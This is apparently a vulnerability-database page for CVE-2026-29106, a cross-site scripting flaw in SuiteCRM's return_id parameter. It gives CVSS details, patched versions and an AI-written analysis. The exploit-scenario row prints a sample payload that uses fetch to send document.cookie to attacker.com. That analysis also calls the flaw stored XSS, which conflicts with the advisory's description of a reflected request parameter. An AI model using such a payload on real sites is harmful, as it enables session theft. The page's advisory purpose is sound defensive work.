What is the CVSS score of CVE-2026-29106?

CVE-2026-29106 has a CVSS 3.1 base score of 5.9 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. EPSS exploitation probability: 0.0%.

Which versions of Suitecrm are affected by CVE-2026-29106?

Organizations using SuiteCRM should be aware of moderate risk from CVE-2026-29106, a cross-site scripting vulnerability rated CVSS 5.9.

How to fix or mitigate CVE-2026-29106?

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

Suitecrm CVE-2026-29106

MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-03-19 security-advisories@github.com

XSS Suitecrm

5.9

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

5.9 MEDIUM

AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Attack Vector

Network

Attack Complexity

Low

Privileges Required

High

User Interaction

Required

Scope

Changed

Confidentiality

Low

Integrity

Low

Availability

Low

Lifecycle Timeline

Analysis Generated

Mar 19, 2026 - 23:30 vuln.today

CVE Published

Mar 19, 2026 - 23:16 nvd

MEDIUM 5.9

DescriptionGitHub Advisory

SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, the value of the return_id request parameter is copied into the value of an HTML tag attribute which is an event handler and is encapsulated in double quotation marks. Versions 7.15.1 and 8.9.3 patch the issue. Users should also use a Content Security Policy (CSP) header to completely mitigate XSS.

AnalysisAI

SuiteCRM versions prior to 7.15.1 and 8.9.3 contain a stored cross-site scripting (XSS) vulnerability in the return_id request parameter, which is insufficiently sanitized before being reflected into HTML event handler attributes. An authenticated attacker with high privileges can craft malicious payloads that execute arbitrary JavaScript in the context of other users' browsers, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of victims. …

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Vulnerability AssessmentAI

Risk Assessment	The CVSS 3.1 base score of 5.9 (Medium) reflects a network-accessible vulnerability requiring high privileges and user interaction, with limited impact scope (Low confidentiality, integrity, and availability). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker with authenticated access to SuiteCRM (or who has compromised a high-privilege user account through phishing) crafts a malicious URL containing JavaScript code in the return_id parameter, such as: return_id="onload="fetch('https://attacker.com/steal?cookie='+document.cookie). If this URL is sent to another administrator or user and clicked, the JavaScript executes in their browser session, stealing their session cookies or performing administrative actions on their behalf. …
Remediation	Upgrade SuiteCRM to version 7.15.1 or later on the 7.x branch, or to version 8.9.3 or later on the 8.x branch (see vendor advisory at https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-7qrj-5hj6-7c2m and release notes at https://docs.suitecrm.com/admin/releases/7.15.x). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2026-29106 vulnerability details – vuln.today

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